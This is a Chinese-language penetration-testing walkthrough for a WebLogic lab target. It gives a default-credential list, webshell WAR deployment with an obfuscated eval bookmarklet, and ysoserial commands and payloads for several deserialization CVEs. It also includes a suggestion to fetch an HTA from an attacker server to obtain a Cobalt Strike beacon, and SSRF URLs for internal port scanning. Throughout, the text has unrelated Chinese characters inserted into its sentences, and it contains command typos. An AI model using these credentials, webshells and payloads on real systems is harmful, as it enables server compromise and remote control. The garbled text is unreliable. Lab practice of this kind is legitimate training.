靶機(jī)說明
目標(biāo)ip:172.16.53.28(window 2003)
本靶機(jī)所針對(duì)的序列化漏洞系列以及常見安全問題如下:
弱口令登陸控制臺(tái)部署war包webshell
CVE-2018-2893
CVE-2018-2628
CVE-2017-10271
CVE-2017-3248
CVE-2016-3510
CVE-2015-4852
weblogic ssrf
信息探測(cè)
1. nmap探測(cè)目標(biāo)服務(wù)器端口以及服務(wù)等相關(guān)信息
1.1 在命令行終端下執(zhí)行以下命令
namp -T4 -A 172.16.53.28
1.2 執(zhí)行結(jié)果所獲得的信息如下
通過nmap的探測(cè)結(jié)果遭商,我們可以得知目標(biāo)的7001端口開放了weblogic的相關(guān)服務(wù)辑奈,并且得知了weblogic的版本信息举农,以及其它系統(tǒng)相關(guān)信息和其它端口服務(wù)相關(guān)的信息惊畏。
得知了weblogic的版本等相關(guān)信息后草添,可以利用互聯(lián)網(wǎng)檢索是否該版本存在響應(yīng)的漏洞嚷节,以尋求利用的可能
弱口令登陸控制臺(tái)部署war包webshell
1. 登陸界面手工輸入常用弱口令嘗試登陸
1.1 由于weblogic的登陸入口有賬戶鎖定的機(jī)制啊犬,所以無法采用爆破的方式,以下截圖就是使用burpsuite爆破過后嫉入,導(dǎo)致輸入正確的賬號(hào)密碼都被鎖定
服務(wù)器終端也打印出賬戶被鎖定30分鐘的信息焰盗,如下:
1.2 手動(dòng)輸入常用的weblogic的肉口令進(jìn)行登陸嘗試
#常用弱口令如下,可根據(jù)實(shí)際情況進(jìn)行添加或者組合:administrator:passwordweblogic:passwordweblogic:weblogicweblogic:weblogic1weblogic:welcome1weblogic:admin123weblogic:Oracle@123system:weblogicsystem:passwordsystem:securitysystem:systemportaladmin:portaladminwlcsystem:wlcsystemwlpisystem:wlpisystemadmin:securityjoe:passwordguest:guest
2.登陸成功后,開始部署war包webshell
2.1 進(jìn)入到weblogic的控制臺(tái)首頁咒林,點(diǎn)擊“鎖定并編輯”熬拒,再點(diǎn)擊“部署”
2.2 選擇“安裝“,如下截圖
2.3 點(diǎn)擊頁面超鏈接”上載文件“垫竞,然后選中提前準(zhǔn)備好的war包webshell澎粟,選擇第一項(xiàng)‘將部署上載到管理服務(wù)器’,最后點(diǎn)擊下一步
選中提前準(zhǔn)備好的war包webshell(下載地址:https://github.com/SecurityRiskAdvisors/cmd.jsp)欢瞪,然后點(diǎn)擊下一步
看到以下提示活烙,說明上傳成功,顯示了我們上傳的文件的所在位置遣鼓,接著繼續(xù)點(diǎn)擊下一步
2.4 選擇“將此部署安裝為應(yīng)用程序”啸盏,點(diǎn)擊“下一步”
2.5 接下來可以給該部署命名,默認(rèn)即可
2.6 點(diǎn)擊“完成”之后骑祟,看到“設(shè)置更新成功”回懦,說明前面的操作正確
2.7 再次回到'部署'選項(xiàng)中,選中剛剛部署的 cmd 應(yīng)用程序,點(diǎn)擊'啟動(dòng)'服務(wù)(注意,此處一定要來自己手工啟動(dòng)服務(wù),不然 shell 是部署不上的 )
選擇“是”
2.8 看到如下圖所標(biāo)記的內(nèi)容气笙,就說明webshell部署成功
2.9 啟動(dòng)部署成功之后,通過用瀏覽器訪問http://172.16.53.28:7001/cmd/cmd.jsp就可以看到我們的 shell 了
備注 : 如果使用文章中提到的cmd.war來部署這個(gè)webshell,當(dāng)訪問該cmd.jsp文件的時(shí)候粉怕,會(huì)看到的是一個(gè)沒有任何回顯的空白頁面健民,需要將一段js代碼保存為瀏覽器的書簽抒巢,當(dāng)直接訪問http://172.16.53.28:7001/cmd/cmd.jsp的時(shí)候贫贝,再在當(dāng)前頁面點(diǎn)擊js書簽,才能看到頁面的輸出蛉谜,如下圖
//需要保存為書簽的js代碼如下:javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdiJz5cDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJz5cDQo8L2Zvcm0+PGhyPiI7DQp2YXIgZGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQpkaXYuaW5uZXJIVE1MID0gaHRtbDsNCmRvY3VtZW50LmJvZHkuaW5zZXJ0QmVmb3JlKGRpdiwgZG9jdW1lbnQuYm9keS5maXJzdENoaWxkKTsNCg0KdmFyIGhhbmRsZUZpbGVTZWxlY3QgPSBmdW5jdGlvbihldnQpIHsNCiAgICB2YXIgZmlsZXMgPSBldnQudGFyZ2V0LmZpbGVzOw0KICAgIHZhciBmaWxlID0gZmlsZXNbMF07DQoNCiAgICBpZiAoZmlsZXMgJiYgZmlsZSkgew0KICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsNCg0KICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24ocmVhZGVyRXZ0KSB7DQogICAgICAgICAgICB2YXIgYmluYXJ5U3RyaW5nID0gcmVhZGVyRXZ0LnRhcmdldC5yZXN1bHQ7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYicpLnZhbHVlID0gYnRvYShiaW5hcnlTdHJpbmcpOw0KICAgICAgICB9Ow0KDQogICAgICAgIHJlYWRlci5yZWFkQXNCaW5hcnlTdHJpbmcoZmlsZSk7DQogICAgfQ0KfTsNCmlmICh3aW5kb3cuRmlsZSAmJiB3aW5kb3cuRmlsZVJlYWRlciAmJiB3aW5kb3cuRmlsZUxpc3QgJiYgd2luZG93LkJsb2IpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGhhbmRsZUZpbGVTZWxlY3QsIGZhbHNlKTsNCn0gZWxzZSB7DQogICAgYWxlcnQoJ1RoZSBGaWxlIEFQSXMgYXJlIG5vdCBmdWxseSBzdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);
至此稚晚,通過弱口令登陸weblogic并部署war包webshell就到此結(jié)束
CVE-2018-2893 漏洞利用
漏洞簡(jiǎn)介
WebLogic (CVE-2018-2893)漏洞和之前的JRMP協(xié)議漏洞(CVE-2018-2628)漏洞是分不開的,他是結(jié)合了RMI機(jī)制缺陷和JDK反序列化漏洞繞過了WebLogic黑名單客燕,從而執(zhí)行系統(tǒng)命令 。
受影響的系統(tǒng)版本
WebLogic10.3.6.0
WebLogic12.1.3.0
WebLogic12.2.1.2
WebLogic12.2.1.3
注:此漏洞暫時(shí)有一定利用限制,只在 jdk7u21 之前的版本實(shí)際利用成功過
相關(guān)利用工具下載地址
https://github.com/pyn3rd/CVE-2018-2893
漏洞利用過程
1.通過CVE-2018-2893的相關(guān)檢測(cè)腳本簡(jiǎn)單驗(yàn)證目標(biāo)是否存在此漏洞
1.1 腳本下載地址
https://github.com/anbai-inc/CVE-2018-2893
1.2 執(zhí)行結(jié)果狰贯,顯示存在CVE-2018-2893漏洞
2.生成 payload,功能是回連下載執(zhí)行指定的系統(tǒng)命令(在大佬平臺(tái)的環(huán)境下,以下命令所用到的ip需要是一個(gè)公網(wǎng)ip也搓,比如自己的VPS)
# 生成payload的命令如下,執(zhí)行結(jié)果就是在當(dāng)前目錄下生成一個(gè)shell.ser的文件:java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "192.168.74.142:1099" > shell.ser
3.在攻擊機(jī)上執(zhí)行以下命令,啟動(dòng)服務(wù)端涵紊,等待目標(biāo)weblogic下載執(zhí)行指定的命令
# 監(jiān)聽攻擊機(jī)的1099端口java -cp ysoserial-cve-2018-2893.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"
4.通過T3協(xié)議將之前制作好的payload發(fā)送給目標(biāo)weblogic傍妒,執(zhí)行payload(命令中的ip為目標(biāo)ip)
python weblogic.py 192.168.74.143 7001 shell.cer
5.遠(yuǎn)程命令執(zhí)行效果如下
注:此次漏洞利用過程執(zhí)行的是打開計(jì)算機(jī)的命令,在實(shí)際操作過程當(dāng)中摸柄,可以利用cs服務(wù)器生成hta文件颤练,然后通過將“calc.exe”命令換成“mshta.exe http://攻擊者服務(wù)器/options.hta” ,可以直接反彈beacon到cs服務(wù)器
CVE-2018-2628 漏洞利用
漏洞簡(jiǎn)介
由于 weblogic 對(duì)于 T3 協(xié)議發(fā)送的數(shù)據(jù)包沒有過濾,注冊(cè)一個(gè) RMI 接口,通過 T3 協(xié)議建立連接,加載回來再一步步解包,利用 readObject 解析,從而造成了反序列化遠(yuǎn)程代碼執(zhí)行
受影響的系統(tǒng)版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
相關(guān)利用工具下載地址
#漏洞檢測(cè)腳本:https://github.com/aedoo/CVE-2018-2628-MultiThreading#k8 Tools:https://github.com/0xMJ/CVE-2018-2628/raw/master/k8weblogicGUI.exe#shell執(zhí)行腳本:https://github.com/jas502n/CVE-2018-2628/blob/master/cve-2018-2628.pyhttps://github.com/brianwrf/ysoserial
漏洞利用過程
1.通過CVE-2018-2628的相關(guān)檢測(cè)腳本簡(jiǎn)單驗(yàn)證目標(biāo)是否存在此漏洞
2.利用K8 Tools getshell
3.運(yùn)行連接shell的python腳本(python2環(huán)境下運(yùn)行)驱负,獲取執(zhí)行命令的控制臺(tái)
Shell:http://192.168.74.143:7001/bea_wls_internal/wlscmd.jsp
CVE-2017-10271 漏洞利用
漏洞簡(jiǎn)介
WebLogic WLS組件中存在CVE-2017-10271遠(yuǎn)程代碼執(zhí)行漏洞嗦玖,可以構(gòu)造請(qǐng)求對(duì)運(yùn)行WebLogic中間件的主機(jī)進(jìn)行攻擊,究其底層其實(shí)還是 XMLDecoder 的反序列化漏洞 跃脊。
受影響的系統(tǒng)版本
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.1.0
Weblogic 12.2.1.2.0
漏洞利用過程
1.驗(yàn)證目標(biāo)機(jī)器是否存在此漏洞宇挫,驗(yàn)證方法如下:
瀏覽器訪問 poc url : /wls-wsat/CoordinatorPortType 看到類似下面的返回則說明目標(biāo)機(jī)器可能存在此漏洞
http://192.168.74.143:7001/wls-wsat/CoordinatorPortType
2.使用burpsuite的repeater模塊像目標(biāo)服務(wù)器發(fā)包,直接將payload復(fù)制到repeater的request位置
payload如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.74.143Accept-Encoding: identityContent-Length: 592Accept-Language: zh-CN,zh;q=0.8Accept: */*User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3Connection: keep-aliveCache-Control: max-age=0Content-Type: text/xmlcmd.exe/ccalc.exe
2.1 需要對(duì)payload做以下一些修改
2.2 點(diǎn)擊“Go”過后酪术,目標(biāo)服務(wù)器執(zhí)行命令彈出計(jì)算機(jī)
weblogic ssrf 漏洞利用
漏洞簡(jiǎn)介
SSRF漏洞捞稿,也稱為XSPA(跨站端口攻擊),問題存在于應(yīng)用程序在加載用戶提供的URL時(shí)拼缝,沒能正確驗(yàn)證服務(wù)器的響應(yīng)娱局,然后就反饋回了客戶端。攻擊者可以利用該漏洞繞過訪問限制(如防火墻)咧七,進(jìn)而將受感染的服務(wù)器作為代理進(jìn)行端口掃描衰齐,甚至訪問系統(tǒng)中的數(shù)據(jù)。
Oracle WebLogic web
server即可以被外部主機(jī)訪問继阻,同時(shí)也允許訪問內(nèi)部主機(jī)耻涛。比如有一個(gè)jsp頁面SearchPublicReqistries.jsp废酷,我們可以利用它進(jìn)行攻擊,未經(jīng)授權(quán)通過weblogic
server連接任意主機(jī)的任意TCP 端口抹缕,可以能冗長(zhǎng)的響應(yīng)來推斷在此端口上是否有服務(wù)在監(jiān)聽此端口澈蟆。
漏洞利用過程
1.Weblogic ssrf url 如下:
#SSRF漏洞存在于:http://192.168.74.143:7001/uddiexplorer/SearchPublicRegistries.jsp
2.向服務(wù)器通過get方式提交以下參數(shù)
http://192.168.74.143:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=& txtSearchfor=&selfor=Business+location&btnSubmit=Search
此時(shí)提交參數(shù)operator=http://localhost/robots.txt,訪問的端口是80(不存在),訪問一個(gè)不存在的端口會(huì)返回以下信息:
3卓研、將訪問的參數(shù)加上7001端口再訪問
http://192.168.74.143:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost:7001/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=& txtSearchfor=&selfor=Business+location&btnSubmit=Search? ?
此時(shí)服務(wù)器訪問7001端口時(shí)返回一個(gè)404的狀態(tài)碼
還可能遇到的返回狀態(tài)有以下幾種:
3.內(nèi)網(wǎng)端口探測(cè)
我們可以根據(jù)返回的不同狀態(tài)信息趴俘,來判斷內(nèi)網(wǎng)的IP是否存在以及對(duì)應(yīng)端口是否開放。這里有一個(gè)地方需要注意的是奏赘,需要知道目標(biāo)內(nèi)網(wǎng)網(wǎng)段寥闪。如果盲目的去進(jìn)行網(wǎng)段掃描會(huì)耗費(fèi)大量的時(shí)間。
根據(jù)不同的返回狀態(tài)這個(gè)特性磨淌,利用python寫一個(gè)腳本去探測(cè)
更多的利用可參考:https://blog.chaitin.cn/gopher-attack-surfaces/疲憋,如得知內(nèi)網(wǎng)存在如redis的機(jī)器,也可通過此ssrf進(jìn)行攻擊
相關(guān)腳本下載地址:
https://github.com/anbai-inc/CVE-2018-2893
https://github.com/SecurityRiskAdvisors/cmd.jsp
https://github.com/0xMJ/CVE-2018-2628
https://github.com/brianwrf/ysoserial
https://github.com/Lighird/CVE-2018-2628
https://github.com/quentinhardy/scriptsAndExploits/tree/master/exploits/weblogic